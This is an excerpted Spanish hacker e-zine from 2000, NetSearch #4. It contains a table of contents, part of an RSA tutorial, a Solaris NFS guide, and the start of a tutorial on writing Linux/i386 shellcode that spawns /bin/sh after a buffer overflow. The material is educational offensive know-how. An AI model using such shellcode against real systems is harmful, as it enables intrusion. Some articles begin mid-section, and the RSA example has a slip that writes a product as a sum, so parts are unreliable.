Академический Документы
Профессиональный Документы
Культура Документы
- Segunda Epoca -
+---------------------------------------------------+
| The NetSearch E-Zine - Numero IV - Volumen I |
| 26/11/2000 |
+---------------------------------------------------+
- [ http://www.netsearch-ezine.com ] -
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
+----------------------------------------------------------------------------+
| |
| NOTA: Ninguno de los autores que han colaborado en este numero se hacen |
| responsables de los actos que algunas personas puedan cometer una |
| una vez hayan leido sus respectivos articulos. |
| |
+----------------------------------------------------------------------------+
- WEB OFICIAL:
http://www.netsearch-ezine.com
http://netsearch.page.to -> (redireccionador)
- CANAL DE IRC:
#netsearch , en el IRC-Hispano
- MAILS OFICIALES:
===========================================================
== ==
== Editor -> editor@netsearch-ezine.com ==
== Webmaster -> webmaster@netsearch-ezine.com ==
== Staff -> staff@netsearch-ezine.com ==
== ==
===========================================================
- DISTRIBUIDORES OFICIALES:
http://hello.to/hacker_novatos
- LLAVE PGP:
<++> llavesPGP/netsearch.asc $c47382c0f38094f037d2ec3326aee840
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.2 (GNU/Linux)
Comment: For info see http://www.gnupg.org
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
=PFmI
-----END PGP PUBLIC KEY BLOCK-----
<-->
- STAFF:
===========================================================
== ==
== DarK_FeaR -> dark_fear@netsearch-ezine.com ==
== Sp4rK -> sp4rk@netsearch-ezine.com ==
== |CoDeX| -> codex@netsearch-ezine.com ==
== RaiSe -> raise@netsearch-ezine.com ==
== cafo -> cafo@netsearch-ezine.com ==
== QuasaR -> quasar@netsearch-ezine.com ==
== PowR -> powr@netsearch-ezine.com ==
== Pope -> pope@netsearch-ezine.com ==
== MoebiuZ -> moebiuz@netsearch-ezine.com ==
== kekabron -> kekabron@netsearch-ezine.com ==
== doing -> doing@netsearch-ezine.com ==
== ==
===========================================================
- SALUDOS:
* A los e-ezine de habla hispana
* A todos los que han hecho posible este NetSearch #4 ;)
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
+ TOC
+------------------------------------------------------+---------------+
| FILE | SIZE | TITULO | AUTOR |
|==========+========+==================================+===============|
| 0x00.txt | 8K | Indice | NetSearch |
|----------+--------+----------------------------------+---------------|
| 0x01.txt | 5K | Editorial | Editor |
|----------+--------+----------------------------------+---------------|
| 0x02.txt | 25K | Algoritmo RSA | PowR |
|----------+--------+----------------------------------+---------------|
| 0x03.txt | 10K | NFS en Sistemas Solaris | HandeR |
|----------+--------+----------------------------------+---------------|
| 0x04.txt | 29K | Shellcodes en Linux/i386 | RaiSe |
|----------+--------+----------------------------------+---------------|
| 0x05.txt | 5K | NetSearch al habla | NetSearch |
|----------+--------+----------------------------------+---------------|
| 0x06.txt | 20K | Interconexion Palm Pilot | QuasaR |
|----------+--------+----------------------------------+---------------|
| 0x07.txt | 50K | I-Worms en Windows | MoebiuZ |
|----------+--------+----------------------------------+---------------|
| 0x08.txt | 10K | Mi profe de Informatica | RaiSe |
+----------+--------+----------------------------------+---------------+
| 0x09.txt | 21K | DNS Manager. Windows NT 4.0 | |CoDeX| |
+----------+--------+----------------------------------+---------------+
| 0x10.txt | 8K | En contacto con aViNash (dSR) | NetSearch |
+----------+--------+----------------------------------+---------------+
| 0x11.txt | 31K | Buffer Overflows (b0f's) | kekabron |
+----------+--------+----------------------------------+---------------+
| 0x12.txt | 32K | Proyecto Echelon (1/2) | Pope |
+----------+--------+----------------------------------+---------------+
| 0x13.txt | 11K | Bugs && Xploits | NetSearch |
+----------+--------+----------------------------------+---------------+
| 0x14.txt | 20K | Heaps Overflows (1/2) | cafo |
+----------+--------+----------------------------------+---------------+
| 0x15.txt | 1K | Despedida | Editor |
+----------+--------+----------------------------------+---------------+
- [ [ NetSearch Ezine #4 ] ] -
==================================================================
== Para extraer los articulos del ezine en archivos separados ==
== ejecutar "./nextract -s ns004.txt" ==
==================================================================
- [ http://www.netsearch-ezine.com ] -
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Holas, que tal?.. cuanto tiempo,eh? :). Lo primero presentarme, soy RaiSe y
como podeis ver, soy el nuevo editor del NetSearch Ezine. Ha habido grandes
cambios en este numero, muchos os estareis preguntando porque tanta tardanza
desde el NS #3.. la verdad es que yo tambien me lo pregunto.
Hace ya un ao desde el numero anterior, como pasa el tiempo.. Aunque parez-
ca lo contrario, durante este ao no hemos estado parados, ni mucho menos.
Muchos de nosotros estuvimos o estamos inmersos en otros proyectos, en los
cuales depositamos toda nuestra ilusion y ganas de trabajar, y quizas por eso
fuimos dejando sin darnos cuenta un poco de lado a NetSearch.
Ahora volvemos con toda la ilusion y ganas de hacerlo bien del principio, para
empezar se ha definido una estructura jerarquica un poco mas desarollada. Yo
no digo que la anarquia sea mala, pero no se puede llevar un ezine sin tener
un staff que se comprometa seriamente a escribir articulos y a echar una mano
en lo que haga falta si las cosas se ponen dificiles. Por supuesto las
colaboraciones externas se haran imprescindibles, pero si por algun casual
estas fallan para un determinado numero, tendremos un staff que hara que el
ezine no desaparezca y siga adelante.
Como habreis podido observar la web oficial tambien ha cambiado, tanto de ser-
ver como de webmaster. Ahora el encargado de llevarla es Sp4rK, y personal-
mente yo creo que ha ganado bastante ;). Por el momento la direccion oficial
es < http://www.netsearch-ezine.com >, y el redireccionador oficial ->
< http://netsearch.page.to >. La web es la misma, el redireccionador solo esta
por si algun dia el dominio deja de funcionar, que esperemos que no.
Otro tema.. Si quereis colaborar en forma de articulos podeis mandarlos a la
direccion [ editor@netsearch-ezine.com ]. Solo tienen que cumplir ciertos
requisitos 'tecnicos' que nos haran la vida mas facil, estos son:
El Editor
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
3.Algoritmo de Euclides
^v^v^v^v^v^v^v^v^v^v^v^
Mediante este algoritmo se obtiene el entero mas grande que divide
exactamente a dos numeros ( es decir, el maximo comun divisor). Existen
dos versiones de este algoritmo. La primera calcula el maximo comun
divisor de dos numeros a y b. El funcionamiento es el siguiente:
1.Calculo de r como el resto de la division a entre b.
2.Si r = 0, fin del algoritmo, b es la respuesta
3.Se redefine a como b y b como r
4.Vuelta a punto (1)
Aplicandolo al caso a=36 y b=20 las sucesivas divisiones son:
___________________________________________________
| | | | |
| a | b | Cociente | Resto r |
|_______|_______|________________|__________________|
| | | | |
| 36 | 20 | 1 | 16 |
|_______|_______|________________|__________________|
| | | | |
| 20 | 16 | 1 | 4 |
|_______|_______|________________|__________________|
| | | | |
| 16 | 4 | 4 | 0 |
|_______|_______|________________|__________________|
4. Teorema de Fermat
^v^v^v^v^v^v^v^v^v^v
El teorema de Fermat que nos interesa se basa en el hecho de que para
cualquier numero natural m, la diferencia m^(p) - m es divisible
exactamente por p siempre y cuando p sea primo. Una variante de este
enunciado dice que si p y que son dos primos distintos y m es un numero
natural cualquiera, coprimo de p y que, la diferencia m^((p-1)(q-1)) -1
es divisible exactamente por el producto pq.
4.1 Demostracion
^v^v^v^v^v^v^v^v
Para entrar mas en materia con el teorema, voy a ver si consigo una
demostracion que se pueda entender. Mas cosas de notacion matematica, no
entro en cuestion de explicar conceptos como "sumatorio" ni su
funcionamiento porque supongo que si has aguantado este rollo hasta aqui
es porque ya sabes lo que es.
inf
_____
\
Representare el sumatorio con \ por poner un ejemplo.
/
/____
i = 0
(
( <- esto intenta ser un parentisis "tamao grande" :P
(
(
Bueno vamos alla:
Por induccion en m:
Cuando m=1 , 1^(p) - 1 = 0. 0 es divisible por p.
Suponiendo que el resultado es cierto para m, para m+1:
p
_____
\ ( p )
(m+1)^p = \ ( ) m^i
/ ( )
/____ ( i )
i=0
p - 1
_____
\ ( p )
= 1 + \ ( ) m^p
/ ( )
/____ ( i )
i=1
Restando m + 1: p - 1
______
\ ( p )
\ ( )
(m+1)^(p) - (m+1) = / ( ) + (m^(p) - m)
/_____ ( i )
i = i
Se puede ver que seria suficiente demostrar que la sumatoria es
divisible por p, pero eso es cierto porque cada numero combinatorio es
divisible por p, tal y como se demostrara a continuacion:
Por induccion en i.
( p )
( )
Cuando i=1, ( ) = p
( 1 )
( p )
( )
Suponiendo que ( ) es divisible por p y probemos que en ese caso
( 1 )
( p )
( )
( ) tambien lo es cuando i + 1 es menor que p.
( i+1 )
Asi pues:
( p ) ( p )
( ) ( )
( ) ( i + 1 ) = ( ) (p - i)
( i+1 ) ( 1 )
En funcion de la hipotesis inductiva, p divide al miembro derecho. Asi
pues, divide al miembro de la izquierda. Dado que i + 1 < p y p es
primo, ambos numeros resultan ser coprimos.. Asi pues, p debe dividir a
( p )
( )
( )
( i+1 )
Por tanto:
Si p es un numero primo y m es coprimo con p, entonces la diferencia
m^(p-1)-1 es divisible por p.
En base al teorema m(m^(p-1)-1)=m^(p)-m es divisible por p. Como m y p
son coprimos, m^(p-1)-1 debe de ser divisible por p.
5. Demostracion RSA.
^v^v^v^v^v^v^v^v^v^
Si los enteros e, d y n se eligen como se ha indicado en la descripcion
del algoritmo, entonces, todo m < n verifica que:
D(E(m)) = m ; E(D(m))=m
Dada la simetria, es suficiente demostrar la primera de estas
igualdades porque un razonamiento analogo demostraria la segunda.
D(E(m)) = D(m^(e) mod pq)
= (m^(e) mod pq)^(d) mod pq
= m^(ed) mod pq
Para la relacion ed + t(p-1)(q-1) = 1:
ed = 1 - t(p-1)(q-1) ; D(E(m)) = mm^((-t)(p-1)(q-1)) mod pq
= m(m^(-t))^((p-1)(q-1)) mod pq
= m * 1 mod pq (por el teorema de Fermat)
= m mod pq
= m. (dado que m es menor que pq)
5.1 Ejemplo RSA
^v^v^v^v^v^v^v^
Para simplificar los calculos, se van a tomar dos primos pequeos: p=5
y q=11. El producto n=55. Para el calculo de (p-1)(q-1) tenemos 4 x 10 =
40. Para la clave e se puede escoger cualquier numero coprimo con 40,
por ejemplo e=3. Siendo otro ejemplo mas como el visto en el apartado
tres (Algoritmo de Euclides), tenemos para estos valores:
27 x 3 + (-2) x 40 =1
Asi pues, d=27. Para encriptar un numero m tenemos que calcular:
E(m)=m^(3) mod 55
y para desencriptar el mensaje cifrado C:
D(C)=C^(27) mod 55
Para este ejemplo, se tomara mas que un mensaje, un solo caracter, el
"M", que en funcion del codigo ASCII, ocupa la posicion correspondiente
al numero 77.
E(77)=77^(3) mod 55
=456533 mod 55
=33
Es decir, en lugar de enviar un valor "77" (la M) enviariamos un "33".
El receptor, que conoce la clave d=27, tiene que calcular:
D(33) = 33^(27) mod 55
En este punto, nos encontramos con el problema de que el exponente al
que hay que elevar el valor de C es muy grande y no parece viable el
realizar la multiplicacion de 33 por si mismo 27 veces. Para subsanar en
parte este problema podemos utilizar un algoritmo de exponenciacion
rapida: Con dos numeros naturales a y b, buscandose calcular ab, tomamos
la representacion binaria de b:
b=2^0 b0 + 2^1 b1 + 2^2 b2 + ... + 2^n bn
La potencia a calcular en funcion de dicha representacion sera:
a^b=a^(20b sub 0 + 21b sub 1 + 22b sub 2 + ... + 2nb sub n) =
n
_____
| |
= | | a^(2^(i)b sub i)
_| |_
i = 0
Siendo ese simbolo ( letra PI del alfabetro griego) el de
multiplicatorio.
Los valores de b sub i solo pueden valer 0 o 1, por lo tanto, solo se
ha de tener en cuenta los digitos binarios de de b que valgan 1.
Aplicado al caso que nos ocupa:
b=27 ; a=33
En el sistema binario
b=11011
Utilizando el sistema posicional para volver a base 10:
b= 2^(0)b sub1 + 2^(1)b sub1 + 2^(2)b sub0 + 2^(3)b sub1 + 2^(4)b sub 1
Comprobacion:
20 + 21 + 23 + 24 = 1 + 2 +8 + 16 = 27
Asi pues, para a^b (33^27):
33^27=33^1 + 33^2 + 33^8 + 33^16
En caso de que, al operar con numeros mayores, tambien uno o mas de uno
de los sumandos resultantes sea una potencia grande, seria posible
"encadenar" este procedimiento a dicho sumando.
Por lo tanto, calculando
(33^1 + 33^2 + 33^8 + 33^16) mod 55
((33 mod 55)(44 mod 55)(11 mod 55)(20 mod 55) mod 55 = 77
obteniendo como resultado de nuevo "77", la "M".
6.Notas finales
^v^v^v^v^v^v^v^
El sistema RSA ha sido uno de los mas estudiados hasta el momento y por
lo tanto se considera que es uno de los mas seguros, ya que ha podido
superar todo tipo de controversia, asi que es hoy por hoy uno de los
sistema criptograficos de llave publica mas usados en la industria, en
el comercio, en los gobiernos, en los organos militares y en general en
toda actividad que requiera que su informacion tenga un alto grado de
seguridad criptografica. Es bueno decir que hasta hoy se han
desarrollado una gran cantidad de sistemas de llave publica con el fin
de sustituir, generalizar o simplemente competir con RSA, solo que no
han tenido gran exito, en principio deben de pasar un riguroso
criptoanalisis por parte de la comunidad criptografica y despues se
someten a la competencia comercial, la prueba es en general proporcionar
al menos la misma seguridad de los sistemas existentes con al menos la
misma facilidad de implementacion y despues que basen su seguridad en
problemas muy duros. Hasta hoy solo los sistemas basados en el Problema
del Logaritmo Discreto Eliptico (PLDE) (para mas informacion ir a
http://www.certicom.com/ecc/index.htm ) han podido competir con exito
con el sistema RSA, incluso son mas prometedores que RSA ya que con solo
llaves de 160 bits proporcionan la misma seguridad que RSA. Otro tipo de
sistemas basan su seguridad en el PFE, sin embargo, se ha demostrado que
son equivalente a RSA, por lo cual se desechan, es decir, necesitan la
misma o mayor longitud de llaves que RSA.
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
-------------------
Introducion al NFS
-------------------
Sistemas de Ficheros Distribuidos
Network File System
NFS es un producto de Sun Microsystem que han acogido la mayoria de los
sistemas operativos y se ha convertido en un estandar en el mercado como una
excelente forma de aprovechar las ventajas de ficheros compartidos.
El sistema de ficheros NFS nos permite utilizar ficheros compartidos como
si fueran locales, con las infinitas aplicaciones que cada uno pueda
interesarle.
NFS tambien nos brinda la posiblidad de instalar en el servidor aplicaciones
de manera de que todos los clientes ataquen a ellas sin la necesidad de tener
instalado el soft en el. Todos me direis q con un Xterminal tambien se puede
hacer esto, po si :) , pero yo aqui me limito a mostraros las caracteristicas
NFS no una comparativa con las diferentes alternativas.
A todos supongo que se os habra iluminados los ojos O_O cuando habeis pensado
en la posiblidad de montar recursos de un servidor en nuestra maquina Linux
y hacer uso de esos recursos como si fueran nuestros, por eso en Solaris
disponemos de unos cuantos ficheros en el cual indicar quien puede y quien no
puede montar estos sistemas de ficheros y desde donde se puede y desde donde no
se puede montar. (Nada insalbable :) )
Bueno me dejo de prologos por que me da la impresion que la gente a la que va
destianda este articulo conoce de sobra las ventajas y desventajas de NFS y
que todos en una plataforma u otra hemos montado archivos de este tipo.
Asi que ahora explicare todas la particularidades de NFS en solaris
que en definitiva es el objetivo que todos vamos buscando.
----------
DEMONIOS
----------
Deberemos de diferenciar los distintos demonios que corren en cada maquina
dependiendo de su funcion
+ SERVIDOR
El demonio nfsd es el encargado de montar un recurso cuando un cliente
hace la peticion.
/usr/lib/nfs/nfsd
Este demonio se arranca desde el script /etc/init.d/nfs.server
+ CLIENTE
/usr/lib/nfs/statd
/usr/lib/nfs/lockd
Estos demonios se encargan de las recuperaciones en caso de fallo
y de bloquear los recursos NFS
Se arrancan con el script
/etc/init.d/nfs.client
---------
COMANDOS
---------
SHARE
/usr/bin/share
Este comando es el encargado realmente de exportar los recursos.
+ Sintaxis
share [-F nfs] [-o opciones] [-d descripcion] recurso
-F nfs es obligatorio en el fichero dfstab (detallado adelante)
pero no en el comando.
-o opciones forma en que se montan los recursos compartidos
"ro" Solo lectura ro=cliente:cliente Lista de cliente con acceso
solo lectura
"rw" Lectura y escritura rw=cliente:cliente
"root=cliente" El superusuario del sistema remoto puede actuar con
privilegios sobre el recurso compartido (interesante :) ).
Se pueden agrupar varios separados por comas
El comando share sin niguna opcion nos muestra la lista de recursos
compartidos.
Si introducimos el comando en el fichero /etc/dfs/fstab se realizara
la exportacion automatica cuando el sistema pase a nivel 3
ej:
share -F nfs -o rw=vega:HandeR:Sp4rK,ro=Hardcode,root=vega
/export/home/
UNSHARE
/usr/sbin/unshare
Este comando es utilizado para dejar de compartir un recurso
+ Sintaxis
unshare [-F nfs] recurso
ej: unshare /export/home
SHAREALL Y UNSHAREALL
/usr/sbin/shareall comparte todo lo referenciado en /etc/dfs/dfstab
/usr/sbin/unshareall deja de exporta lo refenciadoen /etc/dfs/sharetab
+ Sintaxis
unshareall [-F nfs]
shareall [-F nfs]
MOUNT
/sbin/mount
Monta el recurso (no creo que haga falta explicar mucho este
comando, si realmente no lo conoces mejor que ... te busques un buen libro
de cualquier sistema *nix o que sigas utilizando placidamente tu equipo con
tu producto ese q ofrece moco$oft que ahora mismo no recuerdo como se llama
y al que le hacen llamar sistema operativo xDDDDDDDD y pases pagina a este
articulo)
+ Sintaxis
mount [-F nfs] [-o opciones] servidor:recurso punto-montaje
ej: mount vega:/export/home /home
Monta el directorio /export/home del host vega en nuesto
directorio local /home
MOUNTALL
Sin ninguna opcion el comando /sbin/mountall monta todos los
recursos de /etc/vfstab que tengan valor yes en "mount at boot"
si solo queremos que monte los recursos remotos optaremos por la
opcion -r al igual q si solo queremos montar los recursos NFS
optaremos por -F nfs
ej: mountall -r
mountall -F nfs
UMOUNTALL
Utiliza las mismas opciones que MOUNTALL pero esta vez lo q hace
es desmontarlos todos
UMOUNT
/sbin/umount desmonta los recusos yo creo que ta claro :P
+ Sintaxis
umount [-F nfs] servidor:recurso punto-montaje
Tambien es posible utilizar solo servidor:recurso o bien el punto
de montaje
ej: umount /usr/share
---------
FICHEROS
---------
/etc/dfs/dfstab
Contiene los comandos shares que previamente le hemos introducido
(si ejecutamos nfs.sever no encuentra ninguan entrada en este fichero
no arranca el demonio /etc/dfs/dfstab
Los comandos de dfstab se ejecutan cuando:
+ El sistema pasa a nivel 3
+ Cuando superusuario usa shareall (si estan los demonios en marcha)
+ Cuando se ejecuta el script nfs.server (ya que contiene un shareall)
/etc/vfstab
Determina que recursos se montaran a la hora del arranque
(equivalente a el fichero /etc/fstab de Linux particularidades de Solaris)
+ Campos del fichero
"device to mount" Nombre del servidor y recursos compartido separados por :
vega:/export/home
"device to fsck" Siempre Null los clientes no comprueban el estado
de los recursos
"mount point" Punto de montaje por defecto
"FS type" Tipo de sistema de ficheros del que estamos tratando ta claro NFS
"fsck pass" Null igual que device to fsck
"mount at boot" Aqui especificamos si el recurso se monta en tiempo de
arranque o cuando entre en nivel 2 (yes o no)
"mount options" Lista de opciones separadas por comas
rw|ro Permisos de accesos por defecto rw
bg|fg reintentar el montaje en backgound o foreground
por defecto fg
soft|hard continuar intentadolo o provocar un error si
el servidor no responde (Defecto Hard)
intr|nointr Activar o desactivar la interrupcion por teclado
de un proceso en espera de ser montado
suid|nosuid permitir o no la ejecucion de setuid
timeo=n Timeout a las n decimas de seg. por defecto 11
retry Numero de reintentos por defecto 10000
=================================================================
EJEMPLO PRACTICO
=================================================================
Disponemos de equipos solaris y queremos que uno de ellos comparta
por medio de NFS espacio en sus disco de forma q el otro equipo
pueda disponer de los datos o software de ese equipo de forma
transarente como si estuviera trabajando localmente y nos
permita escribir en el.
Llamaremos a los equipos svrsolaris y vega.
En el equipo svrsolaris el cual va a compartir el /export/archivos/
debemos de realizar las siguientes operaciones
1) Editaremos el fichero /etc/dfs/dfstab para permitir la exportacion
automatica cuando entremos en nivel 3 aadiremos la siguiente linea
share -F nfs -o rw /export/archivos
2) Arrancaremos los demonios
/etc/init.d/nfs.server start
3) Podemos ejecutar el comando dfshares para comprobar si lo exporta
correctamente
a) Si queremos dejar de exportar este recurso
unshare /export/archivos
En el equipo vega desde donde pretendemos acceder a esos datos
seguiremos los siguientes pasos:
1) Comprobamos los recursos disponibles por el servidor
dfshares svrsolaris
2) Montamos el recurso
mount vega:/export/archivos /home/archivos
3) Si queremos q el recurso se monte automaticamente editaremos el
fichero /etc/vfstab ya aadiremos la siguiente linea
vega:/export/archivos - /home/archivos nfs yes
observa que "-" es dejar en blanco ese parametro
a) Para desmontar ese recurso utilizaremos:
umount /home/archivos
_______________________________________________________________________________
Bueno pienso que con el articulo ha quedado claro todo el tema de Sistemas
de ficheros NFS con la particularidares del SO Solaris que nos es mas que otro
de los muchos *nix que hay en el mercado.
Cada uno de estos *nix tiene sus particularidades pero en el fondo todos son
los mismos cambiando algunos detalles como ficheros de configuracion, algun
que otro comando y poco mas.
Yo he elegido Solaris al ser este con el cual me peleo todos los dias en el
trabajo y por ser uno de los mas utilizados en los grandes servidores de la
red.
Tampoco es que sea un articulo en el cual detalle hasta el mas minimo
rincon del NFS, pero servira de guia para aquel que tenga que enfrentarse
con el :)
Este articulo ha sido construido a raiz de mi experiencia con NFS, manuales
de Sun, y mucha literatura que por la red podemos encontrar.
Pos nada espero que os haya gustado y hasta otro articulillo para NetSearch
Ezine.
EL AUTOR POR SUPUESTO NO SE HACE RESPONSABLE DE ... AMOS LO TIPICO QUE ESTO
ESTA ESCRITO CON MOTIVOS DIDACTICOS ASI Q EA SED WENOS Y A DISFRUTA DER NFS xD
HandeR
hander@jazzfree.com
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x04 ]-==================================================================
=-[ NetSearch Ezine #4 ]-====================================================
=-[ Shellcodes en Linux/i386 ]-==============================================
=-[ por RaiSe ]-=============================================================
----------------
// 0.- Indice
----------------
0.- Indice.
1.- Prologo.
2.- Que es y para que se usa una shellcode.
3.- Variantes del ensamblador de Intel al de AT&T.
3.1.- Mov.
3.2.- Direcciones de memoria.
3.3.- Interrupciones en Linux (syscalls).
4.- 'Codeando' una shellcode simple.
5.- 'Codeando' una shellcode de varios args.
6.- Pasando el codigo a un string.
7.- Comprobando una shellcode.
8.- Sources.
9.- Notas finales.
-----------------
// 1.- Prologo
-----------------
------------------------------------------------
// 2.- Que es y para que se usa una shellcode
------------------------------------------------
Una shellcode es basicamente una serie de ordenes en ensamblador que hace al-
go de la cual sacamos provecho; ejecutar /bin/sh para obtener una shell, co-
piar una shell y setearla con suid root, etc. Tiene unas caracteristicas de
programacion un tanto especiales que luego veremos en detalle.
Se usa para conseguir ejecutar un codigo despues de haber sobreescrito la di-
reccion de retorno de un programa/funcion mediante un overflow, o mediante
cualquier otro metodo valido. Es decir, el valor de la direccion de retorno
que se sobreescribira sera la de nuestra shellcode. No me meto mucho en esto
porque la finalidad de este texto no es como programar un xploit de buffer
overflow, sino una shellcode. Simplemente decir que cuando se produzca el
desbordamiento y el salto se ejecutara nuestra shellcode.
-------------------------------------------------------
// 3.- Variantes del ensamblador de Intel al de AT&T
-------------------------------------------------------
El ensamblador que usaremos para programar la shellcode varia un poco del ti-
pico ensablador de msdos. Resumiendo aqui estan las instrucciones que se di-
ferencian y en que:
3.1.- Mov.
En Intel seria algo como "mov eax,1", en AT&T "movb $0x1,%al". Es decir, se
intercambia el orden de los operandos, cuando vas a mover un dato (no una di
reccion de memoria) le pones un '$' delante, y cuando usas un registro le po-
nes '%'. Mov consta de 3 instrucciones: movl (4 bytes), movw (2 bytes) y movb
(1 byte). [Decir que estas extensiones (l-w-b) son validas para cualquier ins-
truccion].
Los registros tambien tienen extensiones: eax (4 bytes), ax (2 bytes) y ah/al
(1 byte cada uno).
-----------------------------------------
// 4.- 'Codeando' una shellcode simple
-----------------------------------------
+----------------+--------------------------+
| Registro | Valor |
+================+==========================+
| %eax | *0xb* |
+----------------+--------------------------+
| %ebx | *direccion "/bin/sh"* |
+----------------+--------------------------+
| | *direccion argv[]* |
| %ecx | argv[0] = "/bin/sh" |
| | argv[1] = 0x00 |
+----------------+--------------------------+
| %edx | *direccion 0x00* |
+----------------+--------------------------+
Empieza la ejecucion del codigo y encuentra el jmp 0xa, salta 10 bytes, con
lo que se encuentra el call. El call llama a una funcion que en realidad es
el codigo situado a -0xc, 12 bytes de memoria mas 'arriba'. Con lo cual, pri-
mero guarda la direccion de la instruccion siguiente al call, que es la dire-
ccion de nuestro string /bin/sh, en la pila, y salta al popl. Como lo que
esta en el tope de la pila es la direccion del string, la guardamos en %esi
y ya tenemos la direccion del string almacenada :).
Bueno, y despues de esta pequea introduccion veamos un codigo de una shell-
code que funciona de verdad ejecutando /bin/sh. Lo pego entero y luego voy
comentandolo.
Empecemos..
+ <jmp 0x1f>:
Saltar al call, 0x1f es el numero de bytes que debe saltar para encontrarse
con el call. Este numero no hay que calcularlo manualmente, a la hora de pro-
gramar una sc se pone un valor aleatorio (p.ej 0x10), y luego se mira cual se-
ria el valor correcto con el gdb una vez este terminado el codigo.
Una vez que ejecuta el call vuelve a saltar a la instruccion siguiente al jmp,
pero antes guarda en la pila el valor del string "/bin/sh".
+ <popl %esi>:
Guarda en %esi la direccion del string "/bin/sh". Sino entiendes esto mejor
vuelve a leer el parrafo donde se explica como conseguir la direccion de un
string ;).
+ <xorl %eax,%eax>:
Pone a cero %eax. No se puede poner <movl $0x00,%eax> ya que despues, a la
hora pasar la shellcode a un string, nos apareceria un caracter \x00. Y si en
el string hay un nulo lo mas probable es que el programa que intentemos 'pe-
tar' interprete ese nulo como el final del argumento/comando, pare de copiar,
y no consigamos sobreescribir la direccion de retorno de la pila, aparte que
